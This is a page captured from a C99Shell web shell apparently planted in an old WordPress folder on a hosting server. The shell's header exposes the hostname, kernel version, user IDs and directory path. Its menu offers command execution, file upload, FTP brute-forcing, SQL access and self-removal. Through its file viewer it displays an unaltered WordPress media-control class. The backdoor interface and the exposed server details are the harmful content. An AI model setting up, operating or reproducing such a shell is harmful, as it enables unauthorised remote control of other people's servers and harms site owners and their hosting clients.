!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-includes/customize/   drwxr-xr-x
Free 182.35 GB of 490.84 GB (37.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-wp-customize-media-control.php (7.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Customize API: WP_Customize_Media_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Media Control class.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Media_Control extends WP_Customize_Control {
    
/**
     * Control type.
     *
     * @since 4.2.0
     * @access public
     * @var string
     */
    
public $type 'media';

    
/**
     * Media control mime type.
     *
     * @since 4.2.0
     * @access public
     * @var string
     */
    
public $mime_type '';

    
/**
     * Button labels.
     *
     * @since 4.2.0
     * @access public
     * @var array
     */
    
public $button_labels = array();

    
/**
     * Constructor.
     *
     * @since 4.1.0
     * @since 4.2.0 Moved from WP_Customize_Upload_Control.
     *
     * @param WP_Customize_Manager $manager Customizer bootstrap instance.
     * @param string               $id      Control ID.
     * @param array                $args    Optional. Arguments to override class property defaults.
     */
    
public function __construct$manager$id$args = array() ) {
        
parent::__construct$manager$id$args );

        if ( ! ( 
$this instanceof WP_Customize_Image_Control ) ) {
            
$this->button_labels wp_parse_args$this->button_labels, array(
                
'select'       => __'Select File' ),
                
'change'       => __'Change File' ),
                
'default'      => __'Default' ),
                
'remove'       => __'Remove' ),
                
'placeholder'  => __'No file selected' ),
                
'frame_title'  => __'Select File' ),
                
'frame_button' => __'Choose File' ),
            ) );
        }
    }

    
/**
     * Enqueue control related scripts/styles.
     *
     * @since 3.4.0
     * @since 4.2.0 Moved from WP_Customize_Upload_Control.
     */
    
public function enqueue() {
        
wp_enqueue_media();
    }

    
/**
     * Refresh the parameters passed to the JavaScript via JSON.
     *
     * @since 3.4.0
     * @since 4.2.0 Moved from WP_Customize_Upload_Control.
     *
     * @see WP_Customize_Control::to_json()
     */
    
public function to_json() {
        
parent::to_json();
        
$this->json['label'] = html_entity_decode$this->labelENT_QUOTESget_bloginfo'charset' ) );
        
$this->json['mime_type'] = $this->mime_type;
        
$this->json['button_labels'] = $this->button_labels;
        
$this->json['canUpload'] = current_user_can'upload_files' );

        
$value $this->value();

        if ( 
is_object$this->setting ) ) {
            if ( 
$this->setting->default ) {
                
// Fake an attachment model - needs all fields used by template.
                // Note that the default value must be a URL, NOT an attachment ID.
                
$type in_arraysubstr$this->setting->default, -), array( 'jpg''png''gif''bmp' ) ) ? 'image' 'document';
                
$default_attachment = array(
                    
'id' => 1,
                    
'url' => $this->setting->default,
                    
'type' => $type,
                    
'icon' => wp_mime_type_icon$type ),
                    
'title' => basename$this->setting->default ),
                );

                if ( 
'image' === $type ) {
                    
$default_attachment['sizes'] = array(
                        
'full' => array( 'url' => $this->setting->default ),
                    );
                }

                
$this->json['defaultAttachment'] = $default_attachment;
            }

            if ( 
$value && $this->setting->default && $value === $this->setting->default ) {
                
// Set the default as the attachment.
                
$this->json['attachment'] = $this->json['defaultAttachment'];
            } elseif ( 
$value ) {
                
$this->json['attachment'] = wp_prepare_attachment_for_js$value );
            }
        }
    }

    
/**
     * Don't render any content for this control from PHP.
     *
     * @since 3.4.0
     * @since 4.2.0 Moved from WP_Customize_Upload_Control.
     *
     * @see WP_Customize_Media_Control::content_template()
     */
    
public function render_content() {}

    
/**
     * Render a JS template for the content of the media control.
     *
     * @since 4.1.0
     * @since 4.2.0 Moved from WP_Customize_Upload_Control.
     */
    
public function content_template() {
        
?>
        <label for="{{ data.settings['default'] }}-button">
            <# if ( data.label ) { #>
                <span class="customize-control-title">{{ data.label }}</span>
            <# } #>
            <# if ( data.description ) { #>
                <span class="description customize-control-description">{{{ data.description }}}</span>
            <# } #>
        </label>

        <# if ( data.attachment && data.attachment.id ) { #>
            <div class="attachment-media-view attachment-media-view-{{ data.attachment.type }} {{ data.attachment.orientation }}">
                <div class="thumbnail thumbnail-{{ data.attachment.type }}">
                    <# if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.medium ) { #>
                        <img class="attachment-thumb" src="{{ data.attachment.sizes.medium.url }}" draggable="false" alt="" />
                    <# } else if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.full ) { #>
                        <img class="attachment-thumb" src="{{ data.attachment.sizes.full.url }}" draggable="false" alt="" />
                    <# } else if ( 'audio' === data.attachment.type ) { #>
                        <# if ( data.attachment.image && data.attachment.image.src && data.attachment.image.src !== data.attachment.icon ) { #>
                            <img src="{{ data.attachment.image.src }}" class="thumbnail" draggable="false" alt="" />
                        <# } else { #>
                            <img src="{{ data.attachment.icon }}" class="attachment-thumb type-icon" draggable="false" alt="" />
                        <# } #>
                        <p class="attachment-meta attachment-meta-title">&#8220;{{ data.attachment.title }}&#8221;</p>
                        <# if ( data.attachment.album || data.attachment.meta.album ) { #>
                        <p class="attachment-meta"><em>{{ data.attachment.album || data.attachment.meta.album }}</em></p>
                        <# } #>
                        <# if ( data.attachment.artist || data.attachment.meta.artist ) { #>
                        <p class="attachment-meta">{{ data.attachment.artist || data.attachment.meta.artist }}</p>
                        <# } #>
                        <audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
                            <source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}"/>
                        </audio>
                    <# } else if ( 'video' === data.attachment.type ) { #>
                        <div class="wp-media-wrapper wp-video">
                            <video controls="controls" class="wp-video-shortcode" preload="metadata"
                                <# if ( data.attachment.image && data.attachment.image.src !== data.attachment.icon ) { #>poster="{{ data.attachment.image.src }}"<# } #>>
                                <source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}"/>
                            </video>
                        </div>
                    <# } else { #>
                        <img class="attachment-thumb type-icon icon" src="{{ data.attachment.icon }}" draggable="false" alt="" />
                        <p class="attachment-title">{{ data.attachment.title }}</p>
                    <# } #>
                </div>
                <div class="actions">
                    <# if ( data.canUpload ) { #>
                    <button type="button" class="button remove-button">{{ data.button_labels.remove }}</button>
                    <button type="button" class="button upload-button control-focus" id="{{ data.settings['default'] }}-button">{{ data.button_labels.change }}</button>
                    <div style="clear:both"></div>
                    <# } #>
                </div>
            </div>
        <# } else { #>
            <div class="attachment-media-view">
                <div class="placeholder">
                        {{ data.button_labels.placeholder }}
                </div>
                <div class="actions">
                    <# if ( data.defaultAttachment ) { #>
                        <button type="button" class="button default-button">{{ data.button_labels['default'] }}</button>
                    <# } #>
                    <# if ( data.canUpload ) { #>
                    <button type="button" class="button upload-button" id="{{ data.settings['default'] }}-button">{{ data.button_labels.select }}</button>
                    <# } #>
                    <div style="clear:both"></div>
                </div>
            </div>
        <# } #>
        <?php
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0205 ]--